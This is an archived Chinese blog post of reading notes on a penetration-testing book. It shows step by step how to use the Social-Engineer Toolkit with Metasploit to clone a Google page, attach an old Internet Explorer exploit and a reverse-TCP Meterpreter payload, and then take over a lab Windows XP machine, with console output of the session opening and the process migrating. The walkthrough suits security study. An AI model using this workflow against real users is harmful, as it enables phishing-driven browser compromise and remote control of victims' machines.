【2014-06-01】某《魔鬼训练营》读书笔记：setoolkit生成漏洞网页

[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-06-01 标题某《魔鬼训练营》读书笔记setoolkit生成漏洞网页分类操作系统 / 安全 标签metasploit·社会工程学·setoolkit·浏览器渗透某《魔鬼训练营》读书笔记setoolkit生成漏洞网页setoolkit和Metasploit协同生成渗透网页流程笔记仅供学习交流使用请勿进行其他用途setoolkit是一个非常有用的社会工程学工具里面有很多工具这里作者只笔记下其最简单的使用方法。setoolkit和Metasploit协同生成渗透网页流程Welcome to the Social-Engineer Toolkit(SET). The one stop shopforall of your SE needs. Join us on irc.freenode.netinchannel#setoolkitThe Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com Select from the menu:1)Social-Engineering Attacks 。。。。。。。 set1#选项11)Spear-Phishing Attack Vectors2)Website Attack Vectors 。。。。。。。 set2#选项21)Java Applet Attack Method2)Metasploit Browser Exploit Method 。。。。。。 set:webattack2#选项2直接生成渗透网页攻击浏览器1)Web Templates 。。。。。。。 set:webattack1#简单起见使用现有模板1. Java Required2. Google3. Facebook4. Twitter5. Yahoo set:webattackSelect a template:2#克隆googleEnter the browser exploit you would like to use[8]: 。。。。。。。33)Microsoft Internet Explorer iepeers.dll Use After Free(2010-03-09)34)Microsoft Internet ExplorerAuroraMemory Corruption(2010-01-14)35)Microsoft Internet Explorer Tabular Data Control Exploit(2010-03-0)。。。。。。。 set:payloads34#使用34号漏洞1)Windows Shell Reverse_TCP Spawn acommandshell on victim and send back to attacker2)Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 。。。。。。。 set:payloads2#Meterpreterset:payloadsPort to useforthe reverse[443]: 。。。。。。。[-]This may take a few to load MSF... 。。。。。。。 。。。。。。。 resource(/root/.set/meta_config)exploit-j#可以看到setoolkit自动启动Metasploit然后生成后台任务[*]Exploit running as background job. msf exploit(ms09_002_memory_corruption)[*]Started reverse handler on192.168.19.128:443[*]Using URL: http://0.0.0.0:8080/[*]Local IP: http://192.168.19.128:8080/[*]Server started. msf exploit(ms09_002_memory_corruption)#当有IE浏览器浏览该漏洞网页时会触发该漏洞[-]192.168.19.129 ms09_002_memory_corruption - Exception handling request: Connection reset by peer[*]192.168.19.129 ms09_002_memory_corruption - Sending Internet Explorer7CFunctionPointer Uninitialized Memory Corruption[*]192.168.19.129 ms09_002_memory_corruption - Sending Internet Explorer7CFunctionPointer Uninitialized Memory Corruption[*]Sending stage(769024bytes)to192.168.19.129[*]Meterpreter session1opened(192.168.19.128:443 -192.168.19.129:1226)at2014-06-0123:26:09 0800#session被打开了[*]Session ID1(192.168.19.128:443 -192.168.19.129:1226)processing InitialAutoRunScriptmigrate -f[*]Current server process: IEXPLORE.EXE(1364)[*]Spawning notepad.exe process to migrate to[]Migrating to572#meterpreter被自动转移到其他进程了[]Successfully migrated to process msf exploit(ms09_002_memory_corruption)sessions#查看sessionActive sessionsId Type Information Connection -- ---- ----------- ----------1meterpreter x86/win32 WINXP-PRO-VM\Administrator WINXP-PRO-VM192.168.19.128:443 -192.168.19.129:1226(192.168.19.129)msf exploit(ms09_002_memory_corruption)sessions-i1#交互[*]Starting interaction with1... meterpretergetuid Server username: WINXP-PRO-VM\Administrator